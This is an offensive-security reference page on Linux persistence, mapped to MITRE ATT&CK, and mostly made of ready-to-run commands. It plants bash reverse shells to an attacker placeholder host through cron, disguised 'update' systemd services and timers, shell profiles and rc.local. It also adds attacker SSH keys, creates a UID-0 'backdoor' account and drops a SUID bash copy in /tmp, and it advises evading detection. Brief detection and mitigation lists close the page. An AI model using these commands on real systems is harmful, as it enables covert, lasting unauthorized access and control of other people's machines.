Linux Persistence

Overview

Linux persistence mechanisms exploit cron jobs, SSH keys, systemd services, shell profiles, and other system features to maintain access. Root access significantly expands persistence options, but many techniques work at the user level. Choose methods that blend with normal system activity to reduce detection risk.

ATT&CK Mapping

  • Tactic: TA0003 - Persistence
  • Techniques:
  • T1053.003 - Scheduled Task/Job: Cron
  • T1098.004 - Account Manipulation: SSH Authorized Keys
  • T1543.002 - Create or Modify System Process: Systemd Service
  • T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification

Prerequisites

  • Shell access to the target (user or root)
  • Network connectivity for callback-based persistence

Techniques

SSH Authorized Keys

Add an attacker-controlled SSH key for password-less access:

# Generate key pair on attacker
ssh-keygen -t ed25519 -f /tmp/persistence_key -N ""

# On target — add public key to authorized_keys
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo "<attacker_public_key>" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Connect from attacker
ssh -i /tmp/persistence_key <user>@<target>

As root, add keys for any user:

# Add key to root's authorized_keys
echo "<attacker_public_key>" >> /root/.ssh/authorized_keys

Cron Job Persistence

# User-level cron — reverse shell every minute
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'") | crontab -

# Verify
crontab -l

Root-level cron persistence:

# Write to system crontab (requires root)
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'" >> /etc/crontab

# Or drop a file in /etc/cron.d/
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'" > /etc/cron.d/update

Systemd Service (Requires Root)

Create a systemd service that starts on boot:

# Create a service file
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'
Restart=on-failure
RestartSec=30

[Install]
WantedBy=multi-user.target
EOF

# Enable and start
systemctl daemon-reload
systemctl enable update.service
systemctl start update.service

User-level systemd service (no root needed):

mkdir -p ~/.config/systemd/user/

cat > ~/.config/systemd/user/update.service << 'EOF'
[Unit]
Description=User Update Service

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'
Restart=on-failure
RestartSec=30

[Install]
WantedBy=default.target
EOF

systemctl --user daemon-reload
systemctl --user enable update.service
systemctl --user start update.service

Shell Profile Modification

Inject commands into shell startup files — runs when the user logs in:

# Append to .bashrc (runs on interactive non-login shells)
echo '/bin/bash -c "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" &' >> ~/.bashrc

# Append to .bash_profile or .profile (runs on login shells)
echo '/bin/bash -c "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" &' >> ~/.bash_profile

# For all users (requires root)
echo '/bin/bash -c "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" &' >> /etc/profile

Add User Account

# Add a new user with password (requires root)
useradd -m -s /bin/bash backdoor
echo 'backdoor:password123' | chpasswd

# Add to sudo group
usermod -aG sudo backdoor

# Or add directly to /etc/passwd with UID 0 (root equivalent)
echo "backdoor:$(openssl passwd -1 password123):0:0::/root:/bin/bash" >> /etc/passwd

SUID Binary Backdoor

# Copy bash and set SUID (requires root)
cp /bin/bash /tmp/.backdoor
chmod u+s /tmp/.backdoor

# Execute later for root shell
/tmp/.backdoor -p

rc.local

On systems that support rc.local (runs at boot):

# Create or append to /etc/rc.local (requires root)
cat > /etc/rc.local << 'EOF'
#!/bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1' &
exit 0
EOF

chmod +x /etc/rc.local

Systemd Timer

Alternative to cron using systemd timers:

# Create timer (requires root)
cat > /etc/systemd/system/update.timer << 'EOF'
[Unit]
Description=System Update Timer

[Timer]
OnBootSec=1min
OnUnitActiveSec=5min

[Install]
WantedBy=timers.target
EOF

# Create corresponding service
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'
EOF

systemctl daemon-reload
systemctl enable update.timer
systemctl start update.timer

Detection Methods

Host-Based Detection

  • Unexpected entries in crontab or /etc/cron.d/
  • Unknown systemd services or timers in /etc/systemd/system/
  • Unauthorized SSH keys in ~/.ssh/authorized_keys
  • SUID binaries in unusual locations (/tmp, /dev/shm)
  • Modifications to shell profiles (.bashrc, .profile, /etc/profile)
  • New user accounts or accounts with UID 0

Network-Based Detection

  • Periodic outbound connections to the same destination (cron/timer callbacks)
  • SSH connections from unexpected source IPs

Mitigation Strategies

  • Monitor authorized_keys — alert on changes to SSH key files
  • Audit cron/systemd — regularly review scheduled tasks and services
  • File integrity monitoring — detect changes to shell profiles and system files
  • Restrict SUID — mount /tmp and /dev/shm with nosuid option
  • Account auditing — alert on new user creation and UID 0 accounts

References

MITRE ATT&CK